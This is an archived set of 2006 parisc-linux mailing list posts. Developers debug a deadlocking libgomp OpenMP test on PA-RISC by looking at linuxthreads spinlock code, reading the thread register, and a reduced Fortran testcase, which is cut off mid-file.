	with ESMTP id 26749-07; Sun, 11 Jun 2006 21:19:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AE857D734;
	Sun, 11 Jun 2006 21:19:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 161A17D716
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:19:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26745-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:19:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F33B87D70D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:19:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5C3JZdl004099;
	Sun, 11 Jun 2006 23:19:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5C3JZXj004098;
	Sun, 11 Jun 2006 23:19:35 -0400 (EDT)
In-Reply-To: <119aab440606112013s71bc1daen46041756ce843d14@mail.gmail.com>
	from "Carlos O'Donell" at Jun 11, 2006 11:13:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NrTpBW9JfW4orOWveGVojAdmdmllcoWN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23747

> > #   slow_pthread_self   The synchronization code should try to avoid
> > #                       pthread_self calls by caching thread IDs in a hashtable
> >
> > There's also 'enable_hash_synchronization_default'.
> 
> Reading the thread register is a single mfctl, I don't know if that is
> considered slow?

Looks like it's the later parameter that affects lock caching:

# Should we use hashtable-based synchronization?
# Currently works only for Linux X86/ia64
# Typically faster and more space-efficient
AC_ARG_ENABLE(hash-synchronization,
  AS_HELP_STRING([--enable-hash-synchronization],
		   [use global hash table for monitor locks]))

I'll try turning this off.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Mon, 12 Jun 2006 00:01:23 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20060612060123.GB24813@colo.lackof.org>
References: <119aab440606111942o1be5e11bw6ede4fa941f01778@mail.gmail.com>
	<200606120303.k5C33wIi002802@hiauly1.hia.nrc.ca>
	<119aab440606112013s71bc1daen46041756ce843d14@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624108 19907 80.91.229.3 (22 Nov 2014 02:41:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:48 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 06:01:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 12 Jun 2006 08:01:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E49017D6F9;
	Mon, 12 Jun 2006 00:01:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27475-07; Mon, 12 Jun 2006 00:01:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C68C7D6FF;
	Mon, 12 Jun 2006 00:01:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 523977D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jun 2006 00:01:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27437-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jun 2006 00:01:33 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 540F07D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jun 2006 00:01:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B2CA84581E3;
	Mon, 12 Jun 2006 00:01:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26690-01; Mon, 12 Jun 2006 00:01:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9CC7E4581D3; Mon, 12 Jun 2006 00:01:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440606112013s71bc1daen46041756ce843d14@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cDu4cJouRkkei6uPfGRqWCZmdWkvKJOM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23748

On Sun, Jun 11, 2006 at 11:13:33PM -0400, Carlos O'Donell wrote:
> Reading the thread register is a single mfctl, I don't know if that is
> considered slow?

I believe it depends on the source of the "Move From".
But I can't find a table with timing info. (e.g. mfctl CR16).

I did find this bit though:

| 	Most control operations (the "light weight" control ops) are
| handled by a mechanism that is very similar to the way that C/B
| dependencies are handled. The major differences are that there
| are no control rename registers, and there is no bypassing.
| Thus, an instruction that is dependent on a control op will not
| be able to execute until the control op retires. 
...

"Heavy Weight" control ops are the ones where the instruction execution
is serialized completely.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Mon, 12 Jun 2006 11:31:24 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440606120831y3937faf0y969cbe6dd12226d6@mail.gmail.com>
References: <119aab440606111942o1be5e11bw6ede4fa941f01778@mail.gmail.com>
	<200606120303.k5C33wIi002802@hiauly1.hia.nrc.ca>
	<119aab440606112013s71bc1daen46041756ce843d14@mail.gmail.com>
	<20060612060123.GB24813@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624109 19909 80.91.229.3 (22 Nov 2014 02:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:49 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 15:31:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 12 Jun 2006 17:31:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA7727D6F2;
	Mon, 12 Jun 2006 09:31:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32214-06; Mon, 12 Jun 2006 09:31:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A6547D6F3;
	Mon, 12 Jun 2006 09:31:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 266CE7D6F1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jun 2006 09:31:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32214-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jun 2006 09:31:25 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.235])
	by free.linux.hp.com (Postfix) with ESMTP id 1B4B17D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jun 2006 09:31:25 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so1281812wri
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jun 2006 08:31:24 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=PbuXBqsQKQOvDsbL7JzbeJheRyW4uyM0U0eMbzDhXHZeivVhqL/nyaRFx30Lt819dfHkSFjU7oAaZZ+78wbWt+jBb+Ckkb/fHGhHZEF+9I/9kSCzKIvjc86YP2DvKjVeQhEld9RPzkYBgrKzQA49Hs02eiODp0NHI1SvnDzTGyk=
Original-Received: by 10.54.89.9 with SMTP id m9mr5578997wrb;
	Mon, 12 Jun 2006 08:31:24 -0700 (PDT)
Original-Received: by 10.54.128.12 with HTTP; Mon, 12 Jun 2006 08:31:24 -0700 (PDT)
In-Reply-To: <20060612060123.GB24813@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: feb926277a136420
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tv3kd/t5eWU3uq2TZm9n4NwrL0tsZs3A
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23749

On 6/12/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sun, Jun 11, 2006 at 11:13:33PM -0400, Carlos O'Donell wrote:
> > Reading the thread register is a single mfctl, I don't know if that is
> > considered slow?
>
> I believe it depends on the source of the "Move From".
> But I can't find a table with timing info. (e.g. mfctl CR16).

The thread register is CR27, the code to read the value is:

54 static inline struct _pthread_descr_struct * __get_cr27(void)
55 {
56   long cr27;
57   asm ("mfctl %%cr27, %0" : "=r" (cr27) : );
58   return (struct _pthread_descr_struct *) cr27;
59 }

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 19:20:47 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <119aab440606111620w40d1808en7adec56144d4b1aa@mail.gmail.com>
References: <119aab440606061830peac8e3ah7030b831881e6f76@mail.gmail.com>
	<200606112156.k5BLuvQe011929@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624109 19910 80.91.229.3 (22 Nov 2014 02:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jun 2006 23:20:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 12 Jun 2006 01:20:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 483027D6A1;
	Sun, 11 Jun 2006 17:20:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22834-05; Sun, 11 Jun 2006 17:20:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9CE07D6A2;
	Sun, 11 Jun 2006 17:20:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B68717D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 17:20:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22978-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 17:20:48 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.234])
	by free.linux.hp.com (Postfix) with ESMTP id ABFFD7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 17:20:48 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so1167287wri
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 16:20:47 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=ZT3hm4+2TQVPLTVTiMFWJklsamvUgbDRtS6MMjJoQf1gQAHXwaWDslOEjbpVaxVSolkNlmiyfJhCAN0l2Ib5IO+qFpEAn0RARqwDVEc6DHeDydiJJZIetQePsDQfLprlxBmEDIshMzk6FDq2Ck3//vII0hxmBNMoHnBbjzzGcC8=
Original-Received: by 10.54.103.13 with SMTP id a13mr1707155wrc;
	Sun, 11 Jun 2006 16:20:47 -0700 (PDT)
Original-Received: by 10.54.128.12 with HTTP; Sun, 11 Jun 2006 16:20:47 -0700 (PDT)
In-Reply-To: <200606112156.k5BLuvQe011929@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 4026759d7e0314bd
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PMHkCTtcbHIyva3NNjQ0rv8qJihyatAg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23750

On 6/11/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > You've implemented almost exactly what glibc does for pthreads.
> > However, glibc uses nanosleep without any adverse effects.
>
> Are you sure?  The libgomp test libgomp.fortran/reduction6.f90
> times out.  It's using pthread_mutex_lock and pthread_mutex_unlock
> for locking (there's no futex implementation for parisc-linux).

Can we get a reduced testcase from this?

> strace indicates that the reduction6.xg processes are mainly calling
> sched_yield(), and occassionally nanosleep().

Yes, the core in glibc reads like this:

linuxthreads/spinlock.c (__pthread_acquire):

    722   READ_MEMORY_BARRIER();
    723
    724   while (testandset(spinlock)) {
    725     if (cnt < MAX_SPIN_COUNT) {
    726       sched_yield();
    727       cnt++;
    728     } else {
    729       tm.tv_sec = 0;
    730       tm.tv_nsec = SPIN_SLEEP_DURATION;
    731       nanosleep(&tm, NULL);
    732       cnt = 0;
    733     }
    734   }

So you will see "sched_yield" and "nanosleep".

> The program doesn't timeout under hpux.  I killed the program after 50m
> on linux.  It appears that we are deadlocking on linux.  The time on
> a relatively slow hpux system is:

If a child misses a signal and doesn't call __pthread_release, then
the lock is held forever.
In which case switching over to futex's, or even LWS CAS is not going to help.

Truth be told, many applications don't call "__pthread_acquire" like
we do, they use a CAS insn to acquire the lock.

We *could* experiment with turning on HAS_COMPARE_AND_SWAP in
linuxthreads, and using the LWS CAS to implement this.

I'm dying for a testcase...

> It appears that the hpux built application never sleeps or calls
> sched_yield.  Under linux, I see after running a bit the following
> backtrace in nanosleep:

Yes, that's an attempt to acquire the lock.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 19:57:40 -0400 (EDT)
Lines: 83
Approved: news@gmane.org
Message-ID: <200606112357.k5BNvgoL020309@hiauly1.hia.nrc.ca>
References: <119aab440606111620w40d1808en7adec56144d4b1aa@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624109 19913 80.91.229.3 (22 Nov 2014 02:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jun 2006 23:58:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 12 Jun 2006 01:58:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AE547D6BA;
	Sun, 11 Jun 2006 17:57:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23808-01; Sun, 11 Jun 2006 17:57:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 829917D6B1;
	Sun, 11 Jun 2006 17:57:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D25677D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 17:57:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23385-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 17:57:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 86E8E7D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 17:57:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5BNvjNg020311;
	Sun, 11 Jun 2006 19:57:47 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5BNvgoL020309;
	Sun, 11 Jun 2006 19:57:42 -0400 (EDT)
In-Reply-To: <119aab440606111620w40d1808en7adec56144d4b1aa@mail.gmail.com>
	from "Carlos O'Donell" at Jun 11, 2006 07:20:47 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MJa6Dbd7QEVs4OjDZnVppaZKNzg2NUL4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23751

> On 6/11/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > > You've implemented almost exactly what glibc does for pthreads.
> > > However, glibc uses nanosleep without any adverse effects.
> >
> > Are you sure?  The libgomp test libgomp.fortran/reduction6.f90
> > times out.  It's using pthread_mutex_lock and pthread_mutex_unlock
> > for locking (there's no futex implementation for parisc-linux).
> 
> Can we get a reduced testcase from this?

> We *could* experiment with turning on HAS_COMPARE_AND_SWAP in
> linuxthreads, and using the LWS CAS to implement this.
> 
> I'm dying for a testcase...

The testcase is already quite reduced:

! { dg-do run }

  integer, dimension (6, 6) :: a
  character (36) :: c
  integer nthreads
  a = 9
  nthreads = -1
  call foo (a (2:4, 3:5), nthreads)
  if (nthreads .eq. 3) then
    write (c, '(36i1)') a
    if (c .ne. '999999999999966699966699966699999999') call abort
  end if
contains
  subroutine foo (b, nthreads)
    use omp_lib
    integer, dimension (3:, 5:) :: b
    integer :: err, nthreads
    b = 0
    err = 0
!$omp parallel num_threads (3) reduction (+:b)
    if (any (b .ne. 0)) then
!$omp atomic
      err = err + 1
    end if
!$omp master
    nthreads = omp_get_num_threads ()
!$omp end master
    b = 2
